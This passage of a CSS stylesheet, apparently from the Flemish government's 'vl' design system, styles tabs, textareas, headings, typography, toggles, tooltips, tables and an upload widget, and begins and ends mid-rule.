        color: #333332
      }

      .vl-tab--active:visited {
        color: #333332
      }

      @media screen and (max-width:767px) {
        [data-vl-tabs] .vl-tabs:not(.vl-tabs--overflow) .vl-tab--active {
          border: 0
        }

        .vl-tab {
          font-size: 1.4rem;
          margin: 0 .8rem
        }

        .vl-tabs:not(.vl-tabs--overflow) .vl-tab {
          margin: 0
        }

        [data-vl-tabs] .vl-tabs:not(.vl-tabs--overflow) .vl-tab {
          border: 0;
          display: block;
          font-size: 1.5rem;
          padding: .7rem 1.5rem;
          top: 0
        }

        [data-vl-tabs] .vl-tabs:not(.vl-tabs--overflow) .vl-tab:first-of-type {
          width: calc(100% - 4.2rem)
        }
      }

      .vl-tab__pane {
        display: none
      }

      .vl-tab__pane[data-vl-show=true] {
        display: block
      }

      .vl-tab__pane[role=tabpanel]:focus {
        box-shadow: 0 0 0 2px #fff, 0 0 0 5px rgba(0, 85, 204, .65);
        outline: .2rem solid transparent
      }

      @supports(outline-offset:2px) {
        .vl-tab__pane[role=tabpanel]:focus {
          box-shadow: none;
          outline: 3px solid rgba(0, 85, 204, .65);
          outline-offset: 2px
        }
      }

      .no-js .vl-tab__pane {
        display: block
      }

      .vl-tabs__toggle {
        background: none;
        border: 0;
        border-bottom: 1px solid #cbd2da;
        border-top: 1px solid #cbd2da;
        cursor: pointer;
        display: none;
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 1.5rem;
        font-weight: 500;
        height: 4.2rem;
        left: -1.5rem;
        margin: 0 auto 1rem;
        padding: 0 0 0 1.5rem;
        position: relative;
        text-align: left;
        width: calc(100% + 3rem)
      }

      .vl-tabs__toggle span {
        color: #05c;
        display: block;
        overflow: hidden;
        text-overflow: ellipsis;
        white-space: nowrap;
        width: calc(100% - 6rem)
      }

      .vl-tabs__toggle:after,
      .vl-tabs__toggle:before {
        font-family: "vlaanderen-icon" !important;
        -webkit-font-smoothing: antialiased;
        -moz-osx-font-smoothing: grayscale;
        font-feature-settings: normal;
        font-style: normal;
        font-variant: normal;
        font-weight: 400;
        -webkit-text-decoration: none;
        text-decoration: none;
        text-transform: none
      }

      .vl-tabs__toggle:before {
        color: #05c;
        content: "";
        font-size: 1.4rem;
        font-size: 1.5rem;
        padding: 1.2rem 1.4rem;
        position: absolute;
        right: 0;
        top: 0;
        transform: rotate(90deg);
        transition: color .2s ease-in-out
      }

      .vl-tabs__toggle:focus,
      .vl-tabs__toggle:hover {
        -webkit-text-decoration: underline;
        text-decoration: underline;
        text-decoration-color: #05c
      }

      .vl-tabs__toggle:focus:after,
      .vl-tabs__toggle:focus:before,
      .vl-tabs__toggle:hover:after,
      .vl-tabs__toggle:hover:before {
        color: #05c
      }

      .vl-tabs__toggle:after {
        background: #cbd2da;
        content: "";
        height: 100%;
        position: absolute;
        right: 4.2rem;
        top: 0;
        width: 1px
      }

      .vl-tabs__toggle:focus {
        outline: thin dotted
      }

      .vl-tabs__toggle[data-vl-close=true] {
        border: 0;
        height: 4.2rem;
        left: auto;
        position: absolute;
        right: -1.5rem;
        top: 0;
        width: 4.2rem;
        z-index: 2
      }

      .vl-tabs__toggle[data-vl-close=true]:after {
        display: none
      }

      .vl-tabs__toggle[data-vl-close=true]:before {
        content: "";
        font-size: 1.3rem;
        padding: 1.4rem
      }

      .vl-tabs__toggle[data-vl-close=true] span {
        display: none
      }

      @media screen and (max-width:767px) {
        .vl-tabs__toggle {
          display: block
        }
      }

      .vl-textarea {
        -webkit-appearance: none;
        background: #fff;
        border: .1rem solid #8695a8;
        border-radius: .3rem;
        color: #333332;
        display: inline-block;
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 1.6rem;
        height: auto;
        line-height: normal;
        margin: .5rem 0;
        max-width: 100%;
        padding: 1rem;
        transition: background-color .2s
      }

      @media screen and (max-width:767px) {
        .vl-textarea {
          font-size: 1.6rem
        }
      }

      .vl-textarea:hover {
        border: .2rem solid rgba(0, 85, 204, .65);
        padding: .9rem
      }

      .vl-textarea:hover.invalid.validated,
      .vl-textarea:hover.vl-textarea--error {
        border-color: #d2373c
      }

      .vl-textarea:hover.valid.validated,
      .vl-textarea:hover.vl-textarea--success {
        border-color: #009e47
      }

      .vl-textarea--focus,
      .vl-textarea:focus {
        border: .1rem solid #687483;
        box-shadow: 0 0 0 2px #fff, 0 0 0 5px rgba(0, 85, 204, .65);
        outline: .2rem solid transparent;
        padding: 1rem
      }

      @supports(outline-offset:2px) {

        .vl-textarea--focus,
        .vl-textarea:focus {
          box-shadow: none;
          outline: 3px solid rgba(0, 85, 204, .65);
          outline-offset: 2px
        }
      }

      .vl-textarea--focus.invalid.validated,
      .vl-textarea--focus.vl-textarea--error,
      .vl-textarea:focus.invalid.validated,
      .vl-textarea:focus.vl-textarea--error {
        border-color: #d2373c
      }

      .vl-textarea--focus.valid.validated,
      .vl-textarea--focus.vl-textarea--success,
      .vl-textarea:focus.valid.validated,
      .vl-textarea:focus.vl-textarea--success {
        border-color: #009e47
      }

      .vl-textarea::-moz-placeholder {
        color: #687483
      }

      .vl-textarea::placeholder {
        color: #687483
      }

      .vl-textarea--block {
        box-sizing: border-box;
        display: block;
        width: 100%
      }

      .vl-textarea--error,
      .vl-textarea.invalid.validated {
        background-color: #fbebec;
        border-color: #d2373c
      }

      .vl-textarea--error:focus,
      .vl-textarea.invalid.validated:focus {
        background-color: #fff
      }

      .vl-textarea--success,
      .vl-textarea.valid.validated {
        background-color: #e6f5ed;
        border-color: #009e47;
        display: inline
      }

      .vl-textarea--disabled,
      .vl-textarea[disabled] {
        background-color: #f3f5f6;
        border-color: #8695a8;
        color: #707070;
        color: var(--vl-theme-fg-color-70)
      }

      .vl-textarea--disabled:hover,
      .vl-textarea[disabled]:hover {
        border-width: .1rem;
        padding: 1rem
      }

      .vl-title--alt {
        border-bottom: 3px solid #e8ebee;
        font-size: 1.8rem;
        font-weight: 500;
        margin: 0 0 2rem;
        padding: 1.3rem 0 .7rem;
        text-transform: uppercase
      }

      .vl-title--has-border {
        border-bottom: 1px solid #cbd2da;
        margin-bottom: 1.5rem
      }

      @media screen and (max-width:767px) {
        .vl-title--has-border {
          margin-bottom: 1rem
        }
      }

      .vl-title a {
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vl-title a:not(.vl-link):focus,
      .vl-title a:not(.vl-link):hover {
        -webkit-text-decoration: underline;
        text-decoration: underline
      }

      .vl-title--h1 {
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 4.4rem;
        font-weight: 500;
        line-height: 1.18;
        margin-bottom: 6rem
      }

      @media screen and (max-width:1023px) {
        .vl-title--h1 {
          font-size: 4rem;
          margin-bottom: 4.5rem
        }
      }

      @media screen and (max-width:767px) {
        .vl-title--h1 {
          font-size: 3rem;
          margin-bottom: 3rem
        }
      }

      .vl-title--h2 {
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 3.2rem;
        font-weight: 500;
        line-height: 1.24;
        margin-bottom: 2rem
      }

      @media screen and (max-width:767px) {
        .vl-title--h2 {
          font-size: 2.6rem;
          margin-bottom: 1.5rem
        }
      }

      .vl-title--h3 {
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 2.6rem;
        font-weight: 500;
        line-height: 1.3;
        margin-bottom: 2rem
      }

      @media screen and (max-width:767px) {
        .vl-title--h3 {
          font-size: 2.2rem;
          margin-bottom: 1.5rem
        }
      }

      .vl-title--h4 {
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 2.2rem;
        font-weight: 500;
        line-height: 1.36;
        margin-bottom: 1.8rem
      }

      @media screen and (max-width:767px) {
        .vl-title--h4 {
          font-size: 2rem;
          margin-bottom: 1.4rem
        }
      }

      .vl-title--h5 {
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 2rem;
        font-weight: 500;
        line-height: 1.4;
        margin-bottom: 1.6rem
      }

      @media screen and (max-width:767px) {
        .vl-title--h5 {
          font-size: 1.8rem;
          margin-bottom: 1.2rem
        }
      }

      .vl-title--h6 {
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 1.8rem;
        font-weight: 500;
        line-height: 1.44;
        margin-bottom: 1.4rem
      }

      @media screen and (max-width:767px) {
        .vl-title--h6 {
          font-size: 1.8rem;
          margin-bottom: 1rem
        }
      }

      .vl-typography h1 {
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 4.4rem;
        font-weight: 500;
        line-height: 1.18;
        margin-bottom: 6rem
      }

      @media screen and (max-width:1023px) {
        .vl-typography h1 {
          font-size: 4rem;
          margin-bottom: 4.5rem
        }
      }

      @media screen and (max-width:767px) {
        .vl-typography h1 {
          font-size: 3rem;
          margin-bottom: 3rem
        }
      }

      .vl-typography h1:not(:first-child) {
        margin-top: 12rem
      }

      .vl-typography h2 {
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 3.2rem;
        font-weight: 500;
        line-height: 1.24;
        margin-bottom: 2rem
      }

      @media screen and (max-width:767px) {
        .vl-typography h2 {
          font-size: 2.6rem;
          margin-bottom: 1.5rem
        }
      }

      .vl-typography h2:not(:first-child) {
        margin-top: 4rem
      }

      .vl-typography h3 {
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 2.6rem;
        font-weight: 500;
        line-height: 1.3;
        margin-bottom: 2rem
      }

      @media screen and (max-width:767px) {
        .vl-typography h3 {
          font-size: 2.2rem;
          margin-bottom: 1.5rem
        }
      }

      .vl-typography h3:not(:first-child) {
        margin-top: 4rem
      }

      .vl-typography h4 {
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 2.2rem;
        font-weight: 500;
        line-height: 1.36;
        margin-bottom: 1.8rem
      }

      @media screen and (max-width:767px) {
        .vl-typography h4 {
          font-size: 2rem;
          margin-bottom: 1.4rem
        }
      }

      .vl-typography h4:not(:first-child) {
        margin-top: 3.6rem
      }

      .vl-typography h5 {
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 2rem;
        font-weight: 500;
        line-height: 1.4;
        margin-bottom: 1.6rem
      }

      @media screen and (max-width:767px) {
        .vl-typography h5 {
          font-size: 1.8rem;
          margin-bottom: 1.2rem
        }
      }

      .vl-typography h5:not(:first-child) {
        margin-top: 3.2rem
      }

      .vl-typography h6 {
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 1.8rem;
        font-weight: 500;
        line-height: 1.44;
        margin-bottom: 1.4rem
      }

      @media screen and (max-width:767px) {
        .vl-typography h6 {
          font-size: 1.8rem;
          margin-bottom: 1rem
        }
      }

      .vl-typography h6:not(:first-child) {
        margin-top: 2.8rem
      }

      .vl-title-wrapper__title {
        margin-bottom: 0
      }

      @media screen and (max-width:767px) {
        .vl-title-wrapper__vl-title {
          margin-bottom: 0
        }
      }

      .vl-title-wrapper--h1 {
        margin-bottom: 6rem
      }

      @media screen and (max-width:767px) {
        .vl-title-wrapper--h1 {
          margin-bottom: 3rem
        }
      }

      .vl-title-wrapper--h2 {
        margin-bottom: 2rem
      }

      @media screen and (max-width:767px) {
        .vl-title-wrapper--h2 {
          margin-bottom: 1.5rem
        }
      }

      .vl-title-wrapper--h3 {
        margin-bottom: 2rem
      }

      @media screen and (max-width:767px) {
        .vl-title-wrapper--h3 {
          margin-bottom: 1.5rem
        }
      }

      .vl-title-wrapper--h4 {
        margin-bottom: 1.8rem
      }

      @media screen and (max-width:767px) {
        .vl-title-wrapper--h4 {
          margin-bottom: 1.4rem
        }
      }

      .vl-title-wrapper--h5 {
        margin-bottom: 1.6rem
      }

      @media screen and (max-width:767px) {
        .vl-title-wrapper--h5 {
          margin-bottom: 1.2rem
        }
      }

      .vl-title-wrapper--h6 {
        margin-bottom: 1.4rem
      }

      @media screen and (max-width:767px) {
        .vl-title-wrapper--h6 {
          margin-bottom: 1rem
        }
      }

      .vl-title-wrapper--cta {
        align-items: center;
        display: flex;
        justify-content: space-between;
        margin-bottom: 3rem
      }

      @media screen and (max-width:767px) {
        .vl-title-wrapper--cta__title {
          float: none
        }
      }

      .vl-title-wrapper--cta__cta--small {
        font-size: 1.4rem;
        margin: .8rem 0 0
      }

      .vl-title--no-space-bottom,
      .vl-title-wrapper--cta .vl-title,
      .vl-title-wrapper--sublink .vl-title {
        margin-bottom: 0
      }

      .vl-toggle {
        align-items: center;
        display: flex;
        justify-content: flex-start;
        overflow: hidden;
        position: relative;
        width: 100%
      }

      .vl-toggle--align-top {
        align-items: flex-start
      }

      .vl-toggle--icon-right {
        flex-direction: row-reverse
      }

      .vl-toggle--icon-right .vl-accordion__title {
        flex-grow: 1
      }

      .vl-toggle>.vl-vi:before {
        transition: transform .2s
      }

      .vl-toggle>.vl-vi.vl-vi-arrow-right-fat:before,
      .vl-toggle>.vl-vi.vl-vi-arrow-right-thin:before {
        transform: rotate(90deg)
      }

      .js-vl-accordion--open>.vl-toggle .vl-vi-minus:before,
      .js-vl-accordion--open>.vl-toggle .vl-vi-plus:before {
        transform: rotate(0)
      }

      .js-vl-accordion--open>.vl-accordion__summary>.vl-toggle>.vl-vi-arrow-right-fat:before,
      .js-vl-accordion--open>.vl-accordion__summary>.vl-toggle>.vl-vi-arrow-right-thin:before,
      .js-vl-accordion--open>.vl-toggle>.vl-vi-arrow-right-fat:before,
      .js-vl-accordion--open>.vl-toggle>.vl-vi-arrow-right-thin:before,
      .js-vl-toggle--open>.vl-toggle>.vl-vi-arrow-right-fat:before,
      .js-vl-toggle--open>.vl-toggle>.vl-vi-arrow-right-thin:before,
      .vl-toggle.js-vl-drawer-active-item .vl-vi-arrow-right-fat:before,
      .vl-toggle.js-vl-drawer-active-item .vl-vi-arrow-right-thin:before,
      .vl-toggle.js-vl-dynamic-drawer-active-item .vl-vi-arrow-right-fat:before,
      .vl-toggle.js-vl-dynamic-drawer-active-item .vl-vi-arrow-right-thin:before,
      [aria-expanded=true]>.vl-toggle>.vl-vi-arrow-right-fat:before,
      [aria-expanded=true]>.vl-toggle>.vl-vi-arrow-right-thin:before {
        transform: rotate(-90deg)
      }

      .js-vl-toggle {
        position: relative
      }

      .js-vl-toggle--flex-reverse {
        display: flex;
        flex-direction: column-reverse
      }

      summary {
        display: block
      }

      summary::-webkit-details-marker {
        display: none
      }

      .vl-toggle-wrapper--more-button {
        overflow: hidden;
        position: relative;
        text-align: center;
        transition: margin .2s
      }

      .js-vl-accordion--open .vl-toggle-wrapper--more-button {
        margin-top: 3rem
      }

      .vl-toggle-wrapper--more-button+.vl-accordion__content {
        display: block
      }

      .vl-toggle--more-button {
        align-items: center;
        display: flex;
        line-height: 2.3rem;
        margin: 0 auto;
        overflow: visible;
        position: relative;
        width: auto
      }

      .vl-toggle--more-button:after,
      .vl-toggle--more-button:before {
        background-color: #cbd2da;
        content: "";
        display: block;
        height: 1px;
        margin-top: -1px;
        position: absolute;
        top: 50%;
        width: 100vw
      }

      .vl-toggle--more-button:before {
        right: calc(100% + 3px)
      }

      .vl-toggle--more-button:after {
        left: calc(100% + 3px)
      }

      .vl-toggle--more-button:focus,
      .vl-toggle--more-button:hover {
        color: #05c
      }

      .vl-toggle--more-button .vl-toggle__icon:first-child {
        margin-right: 1rem
      }

      .vl-toggle--more-button .vl-toggle__icon:last-child {
        margin-left: 1rem
      }

      .vl-toggle--more-button .vl-toggle__icon:before {
        color: currentColor;
        font-size: 1.2rem;
        transition: transform .2s
      }

      .js-vl-accordion--open .vl-toggle--more-button .vl-toggle__icon:before {
        transform: rotate(-180deg)
      }

      .vl-tooltip {
        background: #fff;
        border: 1px solid #cfd5dd;
        box-shadow: 0 0 2rem 0 rgba(51, 51, 50, .15);
        color: #333332;
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 1.6rem;
        font-weight: 400;
        line-height: 1.25;
        max-width: 27rem;
        padding: .3rem 1rem;
        position: relative;
        text-align: center;
        z-index: 10009
      }

      .vl-tooltip:before {
        bottom: -.9rem;
        content: "";
        left: -.9rem;
        position: absolute;
        right: -.9rem;
        top: -.9rem;
        z-index: 0
      }

      .vl-tooltip--static {
        display: block;
        pointer-events: auto
      }

      .vl-tooltip--static[data-popper-placement^=top],
      .vl-tooltip--static[x-placement^=top] {
        margin-left: 50%;
        transform: translate(-50%, -100%)
      }

      .vl-tooltip--static[data-popper-placement^=left],
      .vl-tooltip--static[x-placement^=left] {
        transform: translate(-100%)
      }

      .vl-tooltip--static[data-popper-placement^=bottom],
      .vl-tooltip--static[x-placement^=bottom] {
        margin-left: 50%;
        top: 100%;
        transform: translate(-50%)
      }

      .vl-tooltip--static[data-popper-placement^=right],
      .vl-tooltip--static[x-placement^=right] {
        margin-left: calc(100% + 10px)
      }

      .vl-tooltip .tooltip__inner {
        position: relative;
        z-index: 1
      }

      .vl-tooltip.vl-tooltip--large {
        font-size: 1.4rem;
        font-weight: 400;
        padding: 2rem 3.2rem 2rem 2rem
      }

      .vl-tooltip.vl-tooltip--large .tooltip__inner {
        text-align: left
      }

      .vl-tooltip__title {
        border-bottom: 1px solid #bdc5d0;
        font-size: 1.6rem;
        margin: 0 0 .5rem
      }

      .vl-tooltip__close {
        border: 0;
        font-size: 1.6rem;
        margin: 5px;
        padding: 3px;
        position: absolute;
        right: 0;
        top: 0
      }

      .vl-tooltip__close:hover {
        color: #05c
      }

      .vl-tooltip__close:focus {
        color: #004099
      }

      @media screen and (max-width:767px) {
        .vl-tooltip__close {
          font-size: 1.4rem
        }
      }

      .vl-tooltip[data-popper-placement^=top] .vl-tooltip__arrow,
      .vl-tooltip[x-placement^=top] .vl-tooltip__arrow {
        border-bottom-width: 0;
        border-top-color: #cfd5dd;
        bottom: -.6rem;
        left: 50%;
        margin-left: -.6rem
      }

      .vl-tooltip[data-popper-placement^=top] .vl-tooltip__arrow:after,
      .vl-tooltip[x-placement^=top] .vl-tooltip__arrow:after {
        border-bottom-width: 0;
        border-top-color: #fff;
        bottom: 1px;
        content: " ";
        margin-left: -.5rem
      }

      .vl-tooltip[data-popper-placement^=right] .vl-tooltip__arrow,
      .vl-tooltip[x-placement^=right] .vl-tooltip__arrow {
        border-left-width: 0;
        border-right-color: #cfd5dd;
        left: -.6rem;
        margin-top: -.6rem;
        top: 50%
      }

      .vl-tooltip[data-popper-placement^=right] .vl-tooltip__arrow:after,
      .vl-tooltip[x-placement^=right] .vl-tooltip__arrow:after {
        border-left-width: 0;
        border-right-color: #fff;
        bottom: -.5rem;
        content: " ";
        left: 1px
      }

      .vl-tooltip[data-popper-placement^=bottom] .vl-tooltip__arrow,
      .vl-tooltip[x-placement^=bottom] .vl-tooltip__arrow {
        border-bottom-color: #cfd5dd;
        border-top-width: 0;
        left: 50%;
        margin-left: -.6rem;
        top: -.6rem
      }

      .vl-tooltip[data-popper-placement^=bottom] .vl-tooltip__arrow:after,
      .vl-tooltip[x-placement^=bottom] .vl-tooltip__arrow:after {
        border-bottom-color: #fff;
        border-top-width: 0;
        content: " ";
        margin-left: -.5rem;
        top: 1px
      }

      .vl-tooltip[data-popper-placement^=left] .vl-tooltip__arrow,
      .vl-tooltip[x-placement^=left] .vl-tooltip__arrow {
        border-left-color: #cfd5dd;
        border-right-width: 0;
        margin-top: -.6rem;
        right: -.6rem;
        top: 50%
      }

      .vl-tooltip[data-popper-placement^=left] .vl-tooltip__arrow:after,
      .vl-tooltip[x-placement^=left] .vl-tooltip__arrow:after {
        border-left-color: #fff;
        border-right-width: 0;
        bottom: -.5rem;
        content: " ";
        right: 1px
      }

      .vl-tooltip__arrow {
        border-width: .6rem
      }

      .vl-tooltip__arrow,
      .vl-tooltip__arrow:after {
        border: .5rem solid transparent;
        content: "";
        display: block;
        height: 0;
        position: absolute;
        width: 0
      }

      .ul,
      .vl-typography ul {
        list-style-type: disc
      }

      .ol,
      .vl-typography ol {
        list-style-type: decimal
      }

      .ol .ol,
      .ol ol,
      .vl-typography ol .ol,
      .vl-typography ol ol {
        list-style-type: lower-latin
      }

      .ol,
      .ul,
      .vl-typography ol,
      .vl-typography ul {
        display: block;
        margin: 1.8rem 0 2rem 1rem;
        padding-left: 2rem
      }

      .ol:first-child,
      .ul:first-child,
      .vl-typography ol:first-child,
      .vl-typography ul:first-child {
        margin-top: 0
      }

      .ol:last-child,
      .ul:last-child,
      .vl-typography ol:last-child,
      .vl-typography ul:last-child {
        margin-bottom: 0
      }

      .ol li,
      .ul li,
      .vl-typography ol li,
      .vl-typography ul li {
        display: list-item;
        margin-bottom: .5em
      }

      .ol li:last-child,
      .ul li:last-child,
      .vl-typography ol li:last-child,
      .vl-typography ul li:last-child {
        margin-bottom: 0
      }

      .ol ul,
      .ul ul,
      .vl-typography ol ul,
      .vl-typography ul ul {
        list-style-type: circle
      }

      .ol ol,
      .ol ul,
      .ul ol,
      .ul ul,
      .vl-typography ol ol,
      .vl-typography ol ul,
      .vl-typography ul ol,
      .vl-typography ul ul {
        margin: .5em 0 .5rem 1.5em
      }

      .ol ol:first-child,
      .ol ul:first-child,
      .ul ol:first-child,
      .ul ul:first-child,
      .vl-typography ol ol:first-child,
      .vl-typography ol ul:first-child,
      .vl-typography ul ol:first-child,
      .vl-typography ul ul:first-child {
        margin-top: 0
      }

      .ol ol:last-child,
      .ol ul:last-child,
      .ul ol:last-child,
      .ul ul:last-child,
      .vl-typography ol ol:last-child,
      .vl-typography ol ul:last-child,
      .vl-typography ul ol:last-child,
      .vl-typography ul ul:last-child {
        margin-bottom: 0
      }

      .p,
      .vl-typography p {
        margin-bottom: 1.8rem
      }

      .p:last-child,
      .vl-typography p:last-child {
        margin-bottom: 0
      }

      .vl-typography ul li .p:last-child,
      .vl-typography ul li p:last-child {
        margin-bottom: 1.8rem
      }

      .vl-typography b,
      .vl-typography strong {
        font-weight: 500
      }

      .vl-typography em,
      .vl-typography i {
        font-style: italic
      }

      .vl-typography s,
      .vl-typography strike {
        -webkit-text-decoration: line-through;
        text-decoration: line-through
      }

      .vl-typography hr {
        border: 0;
        border-top: 1px solid #cbd2da;
        display: block;
        margin: .5rem auto
      }

      .vl-typography table {
        margin-bottom: 2rem;
        max-width: 100%;
        width: 100%
      }

      .vl-typography table thead tr {
        border-bottom: 3px solid #cbd2da
      }

      .vl-typography table tbody tr {
        border-bottom: 1px solid #cbd2da
      }

      .vl-typography table tbody tr[data-vl-table-selectable] {
        cursor: pointer;
        transition: background .2s ease-in-out
      }

      .vl-typography table tbody tr[data-vl-table-selectable]:hover {
        background: #f3f5f6
      }

      .vl-typography table tbody tr.vl-data-table__grouped-row:not(.vl-data-table__grouped-row--last) {
        border-bottom: 0
      }

      .vl-typography table td,
      .vl-typography table th {
        font-size: 1.6rem;
        line-height: 1.3;
        padding: 1.2rem 1rem;
        text-align: left;
        vertical-align: top
      }

      @media screen and (max-width:767px) {

        .vl-typography table td,
        .vl-typography table th {
          font-size: 1.4rem;
          padding: 1rem
        }
      }

      .vl-typography table td:first-child,
      .vl-typography table th:first-child {
        border-left: 0
      }

      .vl-typography table th {
        font-weight: 500
      }

      .vl-typography table .vl-data-table__grouped-row td {
        padding: .3rem 1rem .3rem 0
      }

      @media screen and (max-width:767px) {
        .vl-typography table .vl-data-table__grouped-row td {
          padding: .3rem 1rem .3rem 0
        }
      }

      .vl-typography table .vl-data-table__grouped-row--first td {
        padding-top: 1.2rem
      }

      @media screen and (max-width:767px) {
        .vl-typography table .vl-data-table__grouped-row--first td {
          padding-top: 1rem
        }
      }

      .vl-typography table .vl-data-table__grouped-row--last td {
        padding-bottom: 1.2rem
      }

      @media screen and (max-width:767px) {
        .vl-typography table .vl-data-table__grouped-row--last td {
          padding-bottom: 1rem
        }
      }

      .vl-typography table__header-title--sortable {
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vl-typography table__header-title--sortable .vl-data-table__header-title__sort-icon {
        opacity: 0
      }

      .vl-typography table__header-title--sortable:focus,
      .vl-typography table__header-title--sortable:hover {
        -webkit-text-decoration: underline;
        text-decoration: underline
      }

      .vl-typography table__header-title--sortable:focus .vl-data-table__header-title__sort-icon,
      .vl-typography table__header-title--sortable:hover .vl-data-table__header-title__sort-icon {
        opacity: .5
      }

      .vl-typography table__header-title--sortable-active .vl-data-table__header-title__sort-icon {
        opacity: 1
      }

      .vl-typography table__body-title {
        max-width: 30rem
      }

      .vl-typography table--alt tr td:not(:first-child) {
        padding: 1.2rem
      }

      .vl-typography table--alt tr th:not(:first-child) {
        padding: 0 1.2rem 1.2rem
      }

      .vl-typography table--alt tr td:first-child,
      .vl-typography table--alt tr th:first-child {
        border-right: 1px solid #cbd2da
      }

      .vl-typography table.vl-data-table--no-header tbody tr:first-child {
        border-top: 3px solid #cbd2da
      }

      .vl-typography table .vl-pill {
        vertical-align: middle
      }

      @media screen and (max-width:767px) {
        .vl-typography table .vl-pill {
          font-size: 1.4rem;
          height: 2rem;
          line-height: 2rem;
          padding: 0 .5rem
        }
      }

      .vl-typography blockquote {
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 3.4rem;
        font-weight: 400;
        line-height: 1.5;
        margin-bottom: 2rem;
        padding-left: 9rem;
        position: relative
      }

      @media screen and (max-width:767px) {
        .vl-typography blockquote {
          padding-left: 5rem
        }
      }

      .vl-typography blockquote:before {
        background: linear-gradient(-110deg, transparent 20px, #ffed00 0);
        background: linear-gradient(-110deg, transparent 20px, var(--vl-theme-primary-color) 20px);
        color: #333332;
        color: var(--vl-theme-fg-color);
        content: "“";
        font-size: 9rem;
        height: 6rem;
        left: 0;
        line-height: 1;
        padding-left: 1rem;
        padding-top: 1rem;
        position: absolute;
        top: 0;
        width: 7rem
      }

      @media screen and (max-width:767px) {
        .vl-typography blockquote:before {
          font-size: 6rem;
          height: 3.6rem;
          margin-right: 0;
          padding-left: .5rem;
          padding-right: 1.5rem;
          padding-top: .5rem;
          width: 4.6rem
        }
      }

      .vl-typography pre:not([class*=language]) {
        background-color: #333332;
        color: #fff;
        display: block;
        -webkit-hyphens: none;
        hyphens: none;
        overflow-x: scroll;
        padding: 1.5rem;
        -moz-tab-size: 2;
        -o-tab-size: 2;
        tab-size: 2;
        white-space: pre;
        word-break: normal
      }

      .vl-typography pre:not([class*=language]) code,
      .vl-typography pre:not([class*=language]) kdb,
      .vl-typography pre:not([class*=language]) samp {
        background-color: transparent;
        padding: 0
      }

      .vl-typography code,
      .vl-typography kdb,
      .vl-typography samp {
        background: #e8ebee;
        font-family: monospace;
        padding: .2rem
      }

      .vl-typography .vl-link,
      .vl-typography a {
        display: inline;
        -webkit-text-decoration: underline;
        text-decoration: underline
      }

      .vl-typography .vl-link:active,
      .vl-typography .vl-link:focus,
      .vl-typography .vl-link:hover,
      .vl-typography a:active,
      .vl-typography a:focus,
      .vl-typography a:hover {
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vl-typography--prewrapped {
        white-space: pre-wrap
      }

      .vl-upload {
        margin-bottom: 1rem;
        position: relative;
        transition: background-color .3s ease-out
      }

      .vl-upload--basic .vl-upload__element__input {
        height: auto;
        margin: 0;
        opacity: 1;
        overflow: auto;
        pointer-events: auto;
        position: relative;
        width: 100%
      }

      .vl-upload--error .vl-upload__element,
      .vl-upload--error .vl-upload__element:hover {
        background-color: #fbebec;
        border-color: #d2373c
      }

      .vl-upload--error .vl-upload__element .vl-upload__element__label:hover,
      .vl-upload--error .vl-upload__element:hover .vl-upload__element__label:hover {
        background-color: transparent
      }

      .vl-upload--success .vl-upload__element,
      .vl-upload--success .vl-upload__element:hover {
        background-color: #e6f5ed;
        border-color: #009e47
      }

      .vl-upload--success .vl-upload__element .vl-upload__element__label:hover,
      .vl-upload--success .vl-upload__element:hover .vl-upload__element__label:hover {
        background-color: transparent
      }

      .vl-upload--disabled .vl-upload__element {
        background-color: #cbd2d9
      }

      .vl-upload--disabled .vl-upload__element:focus,
      .vl-upload--disabled .vl-upload__element:hover {
        background-color: #cbd2d9;
        border: .1rem dashed #8695a8
      }

      .vl-upload--disabled .vl-upload__element:focus .vl-upload__element__label,
      .vl-upload--disabled .vl-upload__element:hover .vl-upload__element__label {
        background-color: transparent;
        padding: 1rem
      }

      .vl-upload--disabled .vl-upload__element .vl-upload__element__label {
        cursor: not-allowed
      }

      .vl-upload--disabled .vl-upload__element .vl-upload__element__label .vl-upload__element__button {
        color: #687483;
        cursor: not-allowed;
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vl-upload__overlay {
        background-color: #fff;
        border: .1rem dashed #05c;
        display: none;
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        height: 100%;
        left: 0;
        opacity: .9;
        pointer-events: none;
        position: absolute;
        top: 0;
        width: 100%;
        z-index: 10
      }

      .vl-upload__overlay__text {
        font-size: 1.4rem;
        left: 50%;
        position: absolute;
        text-align: center;
        top: 50%;
